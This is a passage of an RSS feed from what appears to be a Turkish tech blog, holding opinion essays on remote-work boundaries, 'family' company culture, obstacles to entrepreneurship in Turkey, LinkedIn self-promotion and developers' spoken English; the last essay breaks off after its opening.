            <description><![CDATA[Evden çalışmanın "büyük bir özgürlük" olarak pazarlanması ama Türkiye şartlarında evin bir odasını şirketin bedava bir şubesine dönüştürmenin yarattığı sınır aşımı ve yalnızlık üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/uzaktan-calisma-remote-dedikleri-evin-bir-odasini-sirket-subesine-donusturmek/thumbnail" alt=""> 2020 yılının o meşhur pandemi günlerinden bu yana, teknoloji dünyasının en büyük kutsal metni haline getirilen bir slogan var: <strong>"Remote Work (Uzaktan Çalışma) Özgürlüktür."</strong></p>
<p>Sosyal medyadaki o cilalı reklamları hatırlayın:<br>
Bali'de sahil kenarında, elinde Hindistan ceviziyle laptop açmış bronz tenli bir genç. Ya da İsviçre Alpleri'ne bakan ahşap bir dağ evinde, şöminenin karşısında kahvesini yudumlarken kod yazan "özgür" bir dijital göçebe.</p>
<p>Kulağa insanın ruhunu okşayan bir cennet vaadi gibi geliyor, değil mi?<br>
Trafik çilesi yok, sabahın köründe metrobüse binmek yok, takım elbise yok, kravat yok. Pijamalarınla masaya otur ve dünyayı kodla!</p>
<p>Şimdi gelin, o Bali sahillerindeki Instagram filtrelerini bir kenara fırlatalım ve <strong>Türkiye şartlarında, İstanbul'un, Ankara'nın bir apartman dairesinde</strong> uzaktan çalışan ortalama bir Türkiyeli yazılımcının çıplak gerçekliğine bakalım.</p>
<p>Karşımıza çıkan şey bir özgürlük hikayesi değil; <strong>şirketin evinize çöreklenip salonunuzu bedava bir şubeye dönüştürmesinin trajedisidir.</strong></p>
<h3>Şirket Evimize Taşındı ve Kira Ödemiyor</h3>
<p>Geleneksel ofis hayatında insanların küfrettiği o "işe gidiş-geliş" (commute) rutini, aslında insan psikolojisinin en sağlıklı tampon bölgesiydi.</p>
<p>Akşam saat 18:00'de ofisten çıkardınız. Servise, metroya veya arabanıza binerdiniz. O yolculuk sırasında beyniniz yavaş yavaş "iş modu"ndan çıkar, arınır ve eve vardığınızda sokak kapısını arkanızdan kapatıp ayakkabılarınızı çıkardığınız an o kutsal sığınağa adım atardınız: <strong>Ev.</strong></p>
<p>Ev, patronun giremediği, müşterinin sesinin yankılanmadığı, dış dünyanın stresinden korunduğunuz bir kaleydi.</p>
<p>Uzaktan çalışma ise ne yaptı biliyor musunuz?<br>
O kutsal kalenin duvarlarını yıktı. Şirketi aldı, doğrudan yatak odanızın, salonunuzun ortasına oturttu.</p>
<p>Artık işe gitmiyorsunuz; <strong>işin tam içinde yaşıyorsunuz.</strong></p>
<ul>
<li>Şirket artık ofis kirası ödemiyor; çünkü sizin salonunuzu kullanıyor.</li>
<li>Elektrik faturası ödemiyor, klima çalıştırmıyor, internet parası vermiyor, su sebili doldurmuyor; hepsini sizin maaşınızdan tırtıklıyor.</li>
<li>Ve karşılığında size sunduğu tek şey: Bir laptop ve sınırsız bir denetim baskısı.</li>
</ul>
<h3>Yatak ile Masa Arasındaki 2 Adımlık Uçurum</h3>
<p>Türkiye'deki ortalama konut gerçeklerini düşünün: Çoğu genç yazılımcı 1+1 veya 2+1 evlerde, ya ailesiyle ya da ev arkadaşlarıyla yaşıyor. Birçoğunun kendine ait izole bir çalışma odası bile yok.</p>
<p>Çalışma masanız yatağınızın hemen iki adım yanında duruyor.<br>
Sabah gözünüzü açıyorsunuz; ilk gördüğünüz şey iş bilgisayarının o soğuk kapağı.<br>
Gece yatağa yatıyorsunuz; karanlığın içinde Slack'in ve Teams'in o yeşil "çevrimiçi" ışığı parıldıyor.</p>
<p>Beyin bir süre sonra mekânsal algısını tamamen kaybediyor:<br>
Burası dinlendiğim yer mi, yoksa stres altında hesap verdiğim bir sorgu odası mı?<br>
Yemek yediğiniz masa, aynı zamanda müşteriye bilet yetiştirdiğiniz bir savaş alanına dönüşüyor. Dinlenmek için koltuğa oturduğunuzda, iki metre ötedeki monitör size suçlu bir vicdan azabı gibi bakıyor: <em>"Neden oturuyorsun, baksana iki tane PR bekliyor."</em></p>
<p>Ve o meşhur Türk ailesi dinamikleri devreye giriyor:<br>
Evdekiler için siz "çalışan" biri değilsinizdir; evde akşama kadar bilgisayarla oyun oynayan çocuksunuzdur. Kapı her an açılır: <em>"Madem evdesin oğlum, şu bakkaldan iki ekmek alıver", "Kızım şu teyzenlere bi' uğrayıver."</em> Odaklanma paramparça olur.</p>
<h3>Mesainin Sonu Nerede?</h3>
<p>Uzaktan çalışmanın yarattığı en büyük illüzyon, mesainin bittiği anın buharlaşmasıdır.</p>
<p>Ofisteyken saat 18:00 olduğunda çantanızı toplar ve çıkardınız. Fiziksel olarak orada olmadığınız için kimse size kolay kolay iş yıkamazdı.<br>
Şimdi ise saat akşam 20:30'da yönetici WhatsApp'tan yazar:<br>
<em>"Ya Ahmet biliyorum mesai bitti ama zaten evdesin, şu raporu bir çekiver sana zahmet."</em></p>
<p>"Zaten evdesin."<br>
İşte modern köleliğin en zehirli cümlesi budur. Sanki evde olmak, şirketin emrinde boşta beklemekle eşdeğermiş gibi bir algı yaratılmıştır. Bilgisayar açık olduğu sürece siz potansiyel olarak her zaman mesaitesinizdir.</p>
<p>Sonuç? Kronik bir tükenmişlik (burnout), sosyal izolasyon, gün ışığı görmeden geçirilen aylar ve kendi evinde bir yabancıya dönüşen yüz binlerce genç.</p>
<h3>Evinizi Şirketten Geri Alın</h3>
<p>Uzaktan çalışmanın bir lanete dönüşmesini engellemek istiyorsanız; sınırlarınızı demirden ve çelikten çizmek zorundasınız:</p>
<ol>
<li><strong>Fiziksel Bir Çit Çekin:</strong> Eğer ayrı bir odanız yoksa bile, çalıştığınız köşeyi sadece ve sadece işe ayırın. Mesainiz bittiğinde bilgisayarınızı kapatın, şarj aletini çekin ve o bilgisayarı bir çekmecenin içine kilitleyin. Gözünüz görmesin.</li>
<li><strong>Sahte İşe Gidiş Rutini Kurun:</strong> Sabah mesai başlamadan önce pijamalarınızı çıkarın. Normal dışarı çıkacakmış gibi giyinin. Evden çıkıp mahallede 15 dakikalık bir yürüyüş yapın ve sonra eve dönüp masaya oturun. Akşam mesai bittiğinde de aynı yürüyüşü tekrarlayın. Beyninize <em>"Ben işe gittim ve şimdi işten eve döndüm"</em> sinyalini fiziksel olarak verin.</li>
<li><strong>Bildirimleri Acımasızca Susturun:</strong> Saat 18:00'den sonra telefonunuzdaki Slack, Teams ve şirket e-postası bildirimlerini otomatik olarak kapatın. Şirket yanmıyorsa (ki çoğu zaman o 'yangın' sadece bir yöneticinin kaprisidir), o mesaja cevap vermeyin.</li>
</ol>
<p>Unutmayın; eviniz bir şirket şubesi değildir. Eviniz sizin kalbinizi, ruhunuzu ve sevdiklerinizi dinlendirdiğiniz son sığınağınızdır.</p>
<p>O kalenin kapılarını şirketlerin bedavacı iştahına karşı kilitleyin.<br>
Çünkü kaybedilen bir iş her zaman yeniden bulunur; ama kendi evinde huzurunu kaybetmiş bir insanın gidebileceği başka hiçbir yer yoktur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>remote-work</category>
            <category>uzaktan-calisma</category>
            <category>turkiye</category>
            <category>burnout</category>
            <category>ev-hayati</category>
            <category>mental-health</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/uzaktan-calisma-remote-dedikleri-evin-bir-odasini-sirket-subesine-donusturmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sözde Aile" Şirket Kültürü ve İlk Krizde "Yasal Yükümlülük" İtirafı]]></title>
            <link>http://localhost:3000/blog/post/sozde-aile-sirket-kulturu-ve-ilk-krizde-yasal-yukumluluk-itirafi</link>
            <guid>sozde-aile-sirket-kulturu-ve-ilk-krizde-yasal-yukumluluk-itirafi</guid>
            <pubDate>Sun, 19 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Şirketlerin işe alırken ve fedakarlık isterken kullandığı "Biz burada bir aileyiz" söyleminin; ilk krizde veya küçülmede birdenbire "Şirketimizin finansal gerçeklikleri..." soğukluğuna dönüşmesinin ikiyüzlülüğü.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sozde-aile-sirket-kulturu-ve-ilk-krizde-yasal-yukumluluk-itirafi/thumbnail" alt=""> Teknoloji şirketlerinin kariyer sayfalarını açtığınızda, şirket içi etkinlik fotoğraflarının altında veya oryantasyon sunumlarında en sık karşılaştığınız o vıcık vıcık, duygusal manipülasyon cümlesini hatırlayın:<br>
<em>"Biz burada sadece bir iş yeri değiliz, biz birbirine kenetlenmiş kocaman bir aileyiz."</em></p>
<p>Kulağa ne kadar sıcak, ne kadar koruyucu ve güven verici geliyor değil mi? İnsan zihni, evrimsel olarak bir kabileye ve bir aileye ait olma ihtiyacıyla kodlanmıştır. Yalnızlıktan korkarız; şefkat, kabul ve koşulsuz sadakat ararız. Şirketlerin İK departmanları da bu en ilkel insani zaafımızı çok iyi bilir ve onu tepe tepe kullanır.</p>
<p>Sizden hafta sonu ücretsiz mesai istendiğinde <em>"Biz bir aileyiz"</em> denir.<br>
Enflasyonun %70 olduğu bir ülkede size %30 zam teklif edildiğinde <em>"Ailemizin bütçesi bu ara biraz sıkışık, fedakarlık yapmalıyız"</em> denir.<br>
Hakkınızı aradığınızda veya sınır çizmeye çalıştığınızda <em>"Ama bu yaptığın ailemize hiç yakışmıyor"</em> denilerek suçluluk psikolojisine hapsedilirsiniz.</p>
<p>Peki, sonra ne olur?</p>
<p>Günün birinde şirketin çeyrek dönem finansal tabloları beklenenden %5 düşük gelir. Ya da yurt dışındaki yatırımcı turu ertelenir.</p>
<p>Ve bir Salı sabahı, saat 09:30'da takviminize o meşhur 15 dakikalık gizemli toplantı düşer: <strong>"Operasyonel Güncelleme - İK &#x26; Yönetim".</strong></p>
<h3>15 Dakikalık Soğuk Duş</h3>
<p>Toplantıya girersiniz. Karşınızda geçen hafta omzunuza vurup <em>"Sen bu ailenin en değerli parçasısın"</em> diyen kurucu ortak ve yanında İK müdürü oturmaktadır.</p>
<p>Yüzlerdeki o sıcak, sevecen aile gülümsemesi tamamen silinmiştir. Karşınızda buz gibi, mekanik ve duygusuz iki yabancı vardır. İK müdürü elindeki kâğıttan o önceden ezberletilmiş kurumsal metni okumaya başlar:</p>
<p><em>"Şirketimizin uzun vadeli stratejik öncelikleri, değişen makroekonomik dinamikler ve bütçe optimizasyonu çerçevesinde... Yasal haklarınız ve kıdem tazminatınız kanunlar gereğince ödenecek olup, şirket hesaplarınıza erişiminiz saat 10:00 itibarıyla kapatılacaktır. Bugüne kadarki katkılarınız için teşekkür ederiz."</em></p>
<p>O an kanınız donar.<br>
Slack hesabınız kapatılır. Şirket bilgisayarınız kilitlenir. Güvenlik eşliğinde eşyalarınızı bir karton kutuya koyup binanın kapısına bırakılırsınız.</p>
<p>Peki o "kocaman aileye" ne oldu?<br>
O aile, şirketin Excel tablosundaki bir maliyet satırı (headcount) negatife düştüğü o saniyede buharlaşıp yok oldu!</p>
<h3>Aile Evladını İhale İptal Oldu Diye Evden Atmaz</h3>
<p>Gelin bu hastalıklı kavramı ait olduğu gerçek yerine koyalım:<br>
<strong>Bir şirket ASLA bir aile değildir ve olamaz.</strong></p>
<p>Gerçek bir ailede ebeveynler, evin bütçesi kısıtlandı diye çocuklarından birini sokağa atıp <em>"Bu ay bütçe eksi yazdı oğlum, yasal hakların çerçevesinde seninle yollarımızı ayırıyoruz"</em> demez. Gerçek ailede bağlar kâr-zarar tablolarına, hisse değerine veya yatırımcı sunumlarına bağlı değildir; koşulsuz sevgiye ve kan bağına dayanır.</p>
<p>Oysa bir teknoloji şirketi ile aranızdaki ilişki; tamamen rasyonel, iki taraflı ve ekonomik temelli bir <strong>Hizmet ve Emek Sözleşmesidir.</strong></p>
<p>Siz zamanınızı, uzmanlığınızı, zihinsel enerjinizi ve gençliğinizi masaya koyarsınız; şirket de bunun karşılığında size anlaştığınız maaşı ve yan hakları öder.</p>
<p>Ne bir gram fazlası, ne bir gram eksiği.</p>
<h3>"Biz Bir Spor Takımıyız" Dürüstlüğü</h3>
<p>Netflix'in kurucusu Reed Hastings'in şirket kültür manifestosunda yazdığı ve tüm kurumsal dünyayı sarsan harika bir tespiti vardır:<br>
<em>"Biz bir aile değiliz. Biz profesyonel bir spor takımıyız (pro sports team)."</em></p>
<p>İşte dürüstlük tam olarak budur!<br>
Bir spor takımında futbolcular birbirine saygı duyar, sahada aynı hedef için ter döker, birbirini destekler. Ama herkes bilir ki; günün sonunda burası profesyonel bir ligdir. Formsuz olan yedek kalır, taktiğe uymayan transfer edilir, sözleşmesi biten ayrılır. Kimse kimseye sahte bir kan bağı yalanı satmaz.</p>
<p>Bir şirket sizinle bir profesyonel gibi konuşuyorsa, ona saygı duyabilirsiniz. Şeffaftır, sınırları bellidir.<br>
Ama bir şirket size "aile" masalı anlatmaya başladığı an; bilin ki sizden hak ettiğinizden daha fazlasını bedavaya koparmak için zihinsel bir tuzak kuruyordur.</p>
<h3>Sınırlarınızı Koruyun, Emeğinizi Kutsayın</h3>
<p>Bu yanılsamadan kurtulmak sizi soğuk, bencil veya işine yabancılaşmış biri yapmaz; aksine sizi <strong>özgür ve olgun bir profesyonele</strong> dönüştürür.</p>
<ul>
<li>İşinizi en iyi şekilde yapın. Kodunuzu bir zanaatkar titizliğiyle yazın. Çalışma arkadaşlarınıza karşı şefkatli, dürüst ve yardımsever olun.</li>
<li>Ama o şirketi asla "aileniz" sanmayın. Şirketin başarısını kendi tek varoluş sebebiniz haline getirmeyin. Şirket için kendi sağlığınızı, uykunuzu ve asıl gerçek ailenizi feda etmeyin.</li>
</ul>
<p>Çünkü işten çıkarıldığınız gün şirket ertesi hafta sizin yerinize yeni bir ilan açacaktır.<br>
Ama kendi hayatınızda, kendi gerçek ailenizde ve sevdiklerinizin kalbinde sizin yerinize açılabilecek başka hiçbir ilan yoktur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>sirket-kulturu</category>
            <category>aile-yalanı</category>
            <category>isten-cikarma</category>
            <category>kurumsal-kultur</category>
            <category>kariyer</category>
            <category>turkiye</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sozde-aile-sirket-kulturu-ve-ilk-krizde-yasal-yukumluluk-itirafi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Düğün, Kredi ve Bireysel Emeklilik: Türkiye'de "Girişimci" Olamamanın Sosyo-Ekonomik Frenleri]]></title>
            <link>http://localhost:3000/blog/post/dugun-kredi-ve-bireysel-emeklilik-turkiyede-girisimci-olamamanin-sosyo-ekonomik-frenleri</link>
            <guid>dugun-kredi-ve-bireysel-emeklilik-turkiyede-girisimci-olamamanin-sosyo-ekonomik-frenleri</guid>
            <pubDate>Sat, 18 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Batı'daki akranları garajda risk alıp startup denerken, Türkiye'deki genç yazılımcının evlilik masrafları, konut kredisi ve ailevi beklentiler yüzünden garanti maaşa mahkûm kalmasının sosyolojisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/dugun-kredi-ve-bireysel-emeklilik-turkiyede-girisimci-olamamanin-sosyo-ekonomik-frenleri/thumbnail" alt=""> Girişimcilik konferanslarında, üniversite panellerinde kürsüye çıkan zengin iş insanlarının gençlere tepeden bakarak verdiği o meşhur, beylik vaazı hatırlayın:<br>
<em>"Gençler çok korkak! Neden risk almıyorsunuz? Bakın Steve Jobs garajda başladı, Zuckerberg okulu bıraktı. Siz de garanti maaşlı işleri bırakın, hayallerinizin peşinden koşun, batmaktan korkmayın!"</em></p>
<p>Kürsüdeki konuşmacı alkışlanır. Salondaki 24 yaşındaki genç yazılımcı ise başını öne eğer; kendini yetersiz, korkak ve vizyonsuz hisseder.</p>
<p>Oysa o parlak kürsünün arkasında duranların bilerek görmezden geldiği, konuşmaktan korktuğu devasa bir gerçeklik vardır:<br>
<strong>Risk almak bir karakter özelliği değil; sınıfsal ve ekonomik bir ayrıcalıktır.</strong></p>
<p>Steve Jobs'ın garajında başladığı Silikon Vadisi'nin arkasında; batarsa aç kalmayacağı bir aile evi, güçlü bir sosyal güvenlik ağı, bedava sağlık sigortası ve iflas ettiğinde ertesi gün onu yeniden finanse edecek trilyon dolarlık bir risk sermayesi havuzu vardı.</p>
<p>Şimdi gelin, aynı yaşta <strong>Türkiye'de yaşayan ortalama bir yazılım mühendisinin</strong> sırtındaki o görünmez kurşun ağırlıklara bakalım.</p>
<h3>25 Yaşındaki Bir Gencin Sırtındaki Ağır Bilanço</h3>
<p>Türkiye'de üniversiteyi bitirip sektöre adım atan 23-26 yaşındaki bir gencin hayatı, bir start-up macerası gibi değil; adeta bir borç tahsilat operasyonu gibi başlar:</p>
<ol>
<li><strong>Evlilik ve Düğün Cenderesi:</strong> Bu toplumda evlenmek iki insanın hayatını birleştirmesi değildir; yüz binlerce liralık bir finansal yıkımdır. Düğün salonu masrafları, mobilyalar, beyaz eşyalar, takılan altınlar ve ailelerin bitmeyen talepleri... Genç bir mühendis evlendiği gün cebinde en az 3-4 yıllık bir kredi borcuyla masaya oturur.</li>
<li><strong>Kira ve Barınma Krizi:</strong> Büyükşehirlerdeki fahiş kiralar yüzünden maaşın neredeyse yarısı ayın ilk gününde buharlaşır. Ev sahibi her an kapıdadır.</li>
<li><strong>Ailenin Emeklilik Sigortası Olmak:</strong> Batı'daki akranlarının aksine, Türkiyeli bir genç sadece kendi hayatını yaşamaz. Emekli maaşı açlık sınırının altında kalmış anne ve babasına destek olmak, okuyan kardeşinin harçlığını göndermek zorundadır. O, aynı zamanda ailesinin gayriresmi emeklilik fonudur.</li>
</ol>
<p>Şimdi bu gence dönüp <em>"İşinden istifa et, 1 yıl boyunca tek kuruş gelir olmadan bir garajda startup dene"</em> demek; cehalet değilse düpedüz zalimliktir!</p>
<h3>Tek Bir Maaş Kesintisi = Hayatın Çöküşü</h3>
<p>Girişimcilik, en az 12-18 ay boyunca tek kuruş para kazanmadan, cebinizdeki birikimi yakabilme (runway) lüksüdür.</p>
<p>Peki Türkiye'deki ortalama bir yazılımcının "runway"i kaç aydır biliyor musunuz?<br>
<strong>Tam olarak bir aydır!</strong></p>
<p>Eğer ayın birinde o maaş banka hesabına yatmazsa; ertesi hafta ev kredisi taksidi patlar, diğer hafta kredi kartı asgari tutarı ödenemez, ay sonunda ev sahibi kapıya dayanır ve tüm hayat zincirleme bir reaksiyonla yerle bir olur.</p>
<p>Böyle bir ekonomik zeminde yaşayan bir insandan <em>"risk almasını"</em> bekleyemezsiniz.<br>
O gencin bir kurumsal şirkete, bir bankaya girip <em>"Aman başım ağrımasın, ayın birinde maaşım yatsın, SGK'm tam yatsın"</em> diyerek garanti maaşa sarılması bir korkaklık değildir. Bu, ailesine ve sevdiklerine karşı duyduğu <strong>derin bir sorumluluk bilinci ve hayatta kalma refleksidir.</strong></p>
<h3>Girişimcilik Zengin Çocuklarının Sporu mu?</h3>
<p>İşte bu sosyo-ekonomik frenler yüzünden, Türkiye'de gerçekten "start-up kurabilen" kitlenin profili giderek homojenleşti ve kısıtlandı:<br>
Ailesinin Bebek'te veya Kadıköy'de dairesi olan, kira derdi bulunmayan, batarsa babasının şirketine sığınabilecek tuzu kuru zengin çocuklarının oynadığı bir "prestij oyununa" dönüştü.</p>
<p>Anadolu'nun bir şehrinden gelmiş, ailesini sırtlayan dahi çocuk ise bankanın bodrum katında legacy Java kodları yazmaya mahkûm edildi. Çünkü onun batma lüksü yoktu.</p>
<p>Bu, bir ülkenin en zeki beyinlerinin risk alma kapasitesini yok eden korkunç bir yetenek israfıdır.</p>
<h3>Bu Frenlerle Nasıl Yaşayacağız?</h3>
<p>Eğer sırtınızda bu borçlar, bu krediler ve bu ailevi sorumluluklar varken yine de içinizde bir şeyler üretme, kendi ürününüzü çıkarma ateşi yanıyorsa; kendinize kızmayı bırakın. Siz korkak değilsiniz.</p>
<p>Sadece stratejinizi Silikon Vadisi masallarına göre değil, <strong>kendi topraklarınızın gerçeklerine göre</strong> çizmek zorundasınız:</p>
<ul>
<li><strong>İşini Bırakma, Kenarda Başla (Side Project):</strong> Gündüz maaşlı işinizde çalışırken, akşamları günde 2 saatinizi kendi mikro-ürününüze ayırın. İlk gelirinizi elde edene kadar o garanti maaş dalını asla bırakmayın.</li>
<li><strong>Düşük Maliyetli Başla:</strong> Şirket kurmadan, büyük sunucu masraflarına girmeden, en ucuz araçlarla fikrinizi küresel pazarda test edin.</li>
<li><strong>Borçları Sıfırlamayı Birinci Hedef Yapın:</strong> Sizi o kurumsal prangaya bağlayan şey şirket sevgisi değil; o kredi taksitleridir. Finansal özgürlüğe giden yol, tüketim çılgınlığını ve borçları sıfırlamaktan geçer.</li>
</ul>
<p>Cesaret, gözü kapalı uçuruma atlamak değildir.<br>
Gerçek cesaret; sırtındaki onca yüke ve prangaya rağmen, o uçurumun kenarında dengede kalarak gökyüzüne doğru bir kanat çırpabilme dirayetidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>girisimcilik</category>
            <category>turkiye</category>
            <category>ekonomi</category>
            <category>sosyoloji</category>
            <category>risk-alma</category>
            <category>kariyer</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/dugun-kredi-ve-bireysel-emeklilik-turkiyede-girisimci-olamamanin-sosyo-ekonomik-frenleri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[LinkedIn'deki "Hassas Başarı" Tiyatrosu ve Yerel Sektör Narsisizmi]]></title>
            <link>http://localhost:3000/blog/post/linkedindeki-hassas-basari-tiyatrosu-ve-yerel-sektor-narsisizmi</link>
            <guid>linkedindeki-hassas-basari-tiyatrosu-ve-yerel-sektor-narsisizmi</guid>
            <pubDate>Fri, 17 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Türkiye'deki teknoloji ağlarında paylaşılan abartılı başarı hikayeleri, ajitasyon dolu "ilham veren" gönderiler ve sahte kırılganlık. Kod kalitesinden çok kişisel markalamaya yatırılan mesainin eleştirisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/linkedindeki-hassas-basari-tiyatrosu-ve-yerel-sektor-narsisizmi/thumbnail" alt=""> Eğer son birkaç yıldır LinkedIn akışınızı beş dakikadan fazla kaydırdıysanız; midenizi bulandıran, zekanıza hakaret eden ve insanı kendi türünden utandıran o garip, yapay tiyatronun kokusunu mutlaka almışsınızdır.</p>
<p>Sosyal medyanın en kurumsal ve profesyonel olması gereken platformu, bugün tarihin en büyük <strong>"Kolektif Narsisizm ve Sahte Kırılganlık Sirkine"</strong> dönüşmüş durumdadır.</p>
<p>Tipik bir gönderi şablonunu hepimiz ezbere biliriz:<br>
Kısa, tek satırlık ve dramatik cümlelerle başlar:<br>
<em>"Geçen yıl bugün banka hesabımda sadece 14 TL vardı..."</em><br>
<em>(Bir boşluk)</em><br>
<em>"Ağlayarak uyandım. Herkes bana bittiğimi söyledi..."</em><br>
<em>(Bir boşluk)</em><br>
<em>"Ama sonra aynaya baktım. 'Asla pes etmeyeceksin' dedim..."</em><br>
<em>(Bir boşluk)</em><br>
<em>"Ve bugün... Şirketimiz 50 kişilik dev bir ekibe ulaştı! Büyüme zihniyeti (growth mindset) her şeydir. Asla pes etmeyin dostlar! #leadership #success #hustle"</em></p>
<p>Altına iliştirilmiş, yapay bir hüzünle kameraya bakan siyah-beyaz bir selfie ve binlerce alkış emojisi...</p>
<p>Bu sahte drama tiyatrosunun arkasındaki gerçek nedir biliyor musunuz?<br>
Koca bir hiçlik.</p>
<h3>"Vulnerability Porn": Kırılganlığı Satış Malzemesi Yapmak</h3>
<p>Sosyal medya guruları birkaç yıl önce bir şey keşfetti: İnsanlar artık sadece soğuk şirket başarılarına prim vermiyor. İnsanların dikkatini çekmenin en ucuz yolu; acıyı, başarısızlığı ve kırılganlığı bir pazarlama aparatına dönüştürmek (Vulnerability Porn).</p>
<p>İşten kovulan biri çıkıp <em>"Bugün kapının önüne kondum ama beni kovan yöneticime minnettarım, bu kovulma benim liderlik yolculuğumun en muazzam hediyesi oldu"</em> diyerek kurumsal mazoşizmin zirvesine tırmanabiliyor.</p>
<p>Ofiste çalışanına mobbing uygulayan, mesai ücretini gasp eden bir şirket kurucusu; LinkedIn'de <em>"Liderlik şefkattir, ekibimi bir evlat gibi seviyorum"</em> diyerek felsefe parçalayabiliyor.</p>
<p>Terminalde iki satır temiz kod yazmaktan aciz olan, hayatında tek bir dağıtık sistem mimarisi görmemiş insanlar; her gün <em>"10x Mühendis Olmanın 7 Altın Kuralı"</em> başlığı altında çalıntı listeler paylaşarak binlerce beğeni topluyor.</p>
<p>Sektörümüz ne yazık ki; <strong>üretilen değerin değil, yapılan şovun ödüllendirildiği</strong> hastalıklı bir vitrin bağımlılığına teslim oldu.</p>
<h3>Terminalin Gerçeği vs. Vitrinin Yalanı</h3>
<p>İşin en acı verici tarafı, bu sahte tiyatronun genç yazılımcıların ruh dünyasında yarattığı tahribattır.</p>
<p>Gencecik bir mühendis masasının başına oturur. Sabahtan akşama kadar tek bir CSS taşmasını düzeltmek için ter döker, terminaldeki yüzlerce derleme hatasıyla boğuşur, kendini yetersiz ve çaresiz hisseder. Sonra mola vermek için LinkedIn'i açar.</p>
<p>Ve karşısında ne görür?<br>
Kendi yaşındaki akranlarının her hafta yeni bir "başarı hikayesi" yazdığını, her ay bir konferansta sahneye çıktığını, her gün yeni bir yapay zeka aracını "devrimsel" bir şekilde fethettiğini okur.</p>
<p>Ve kendi kendine sorar: <em>"Ben neden bu kadar başarısızım? Neden herkes uçuyor da ben yerimde sayıyorum?"</em></p>
<p>Sakin ol kardeşim. Kimse uçmuyor.<br>
O sahnedekilerin büyük bir kısmı da senin gibi terminalin başında saçını başını yoluyor.<br>
Onların prod sunucuları da çöküyor, onların yazdığı kodlar da spagettiye dönüyor.<br>
Tek fark şu: Onlar hatalarıyla yüzleşip sessizce düzeltmek yerine; hatalarını bile cilalayıp sosyal medyaya birer "ilham kaynağı" olarak pazarlayacak kadar utanmaz birer gösteri sanatçısına dönüştüler.</p>
<h3>Sessiz Zanaatkarlığın Asaleti</h3>
<p>İnsanlık tarihi boyunca gerçek ustalar asla sokak köşelerinde bağırıp kendini övmemiştir.</p>
<p>Büyük bir marangoz, yaptığı masanın üzerine çıkıp nutuk atmaz; masanın pürüzsüz ahşabına dokunmanız yeterlidir.<br>
Büyük bir cerrah, ameliyathaneden çıkıp koridorda self-help tiradları atmaz; hastanın sağ salim ayağa kalkması tek ve en büyük cevaptır.</p>
<p>Yazılım da özünde bir <strong>dijital zanaattır.</strong><br>
Ve gerçek bir zanaatkarın vitrini LinkedIn gönderileri değil; <strong>yazdığı kodun zarafeti, sisteminin kararlılığı ve kriz anındaki sessiz soğukkanlılığıdır.</strong></p>
<p>Gürültüyü kesin.<br>
Sosyal medyadaki o içi boş narsisizm bataklığından zihninizi arındırın.<br>
Beğeni sayılarıyla değil; çözdüğünüz problemlerin derinliğiyle kendinizi ölçün.</p>
<p>Çünkü alkışlar bittiğinde, ışıklar söndüğünde ve sahne kapandığında; geriye sadece o siyah terminal ekranı ve o ekrana dürüstçe döktüğünüz saf emek kalacaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>linkedin</category>
            <category>narsisizm</category>
            <category>sosyal-medya</category>
            <category>kariyer</category>
            <category>turkiye</category>
            <category>sektor-elestirisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/linkedindeki-hassas-basari-tiyatrosu-ve-yerel-sektor-narsisizmi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["İngilizce Biliyorum" İllüzyonu: Doküman Okumak vs. Müşteriyle Tartışabilmek]]></title>
            <link>http://localhost:3000/blog/post/ingilizce-biliyorum-illuzyonu-dokuman-okumak-vs-musteriyle-tartisabilmek</link>
            <guid>ingilizce-biliyorum-illuzyonu-dokuman-okumak-vs-musteriyle-tartisabilmek</guid>
            <pubDate>Thu, 16 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Türk geliştiricilerin "İngilizcem var" derken kastettiği dokümantasyon okuma becerisi ile; yabancı bir toplantıda mimari kararını savunacak veya haksız talebe "Hayır" diyebilecek akıcılık arasındaki büyük uçurum.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ingilizce-biliyorum-illuzyonu-dokuman-okumak-vs-musteriyle-tartisabilmek/thumbnail" alt=""> Türkiye'deki yazılım mühendislerinin CV'lerini incelediğinizde, "Yabancı Dil" bölümünde neredeyse istisnasız olarak şu şablonu görürsünüz:<br>
<em>"İngilizce: İleri Düzey (Professional / Advanced / C1)"</em>.</p>
<p>Mülakatta sorarsınız: <em>"İngilizce durumun nasıl?"</em><br>
Geliştirici gayet kendinden emin bir şekilde yanıt verir: <em>"Hiçbir sorunum yok hocam, tüm dokümanları İngilizce okuyorum, videoları rahatça anlıyorum."</em></p>
<p>İşte bu, Türkiye teknoloji sektörünün kendi kendine söylediği en büyük, en konforlu ve en pahalıya patlayan yanılsamalardan biridir: <strong>"Doküman Okuma İngilizcesi" ile "Müzakere ve Tartışma İngilizcesi"ni aynı şey zannetmek.</strong></p>
<p>Bir insanın StackOverflow'daki bir hata çözümünü okuması, React'in resmi dokümantasyonunu taraması veya YouTube'da Hintli bir mühendisin eğitim videosunu altyazısız izlemesi; onun İngilizce bildiğini göstermez.<br>
Bu sadece, <strong>teknik bir metni pasif olarak deşifre edebildiğini</strong> gösterir.</p>
<p>Ve ne yazık ki, küresel yazılım liginde fildişi kuleler sadece doküman okuyarak fethedilmez.</p>
<h3>Zoom Kamerasının Karşısında Donup Kalmak</h3>
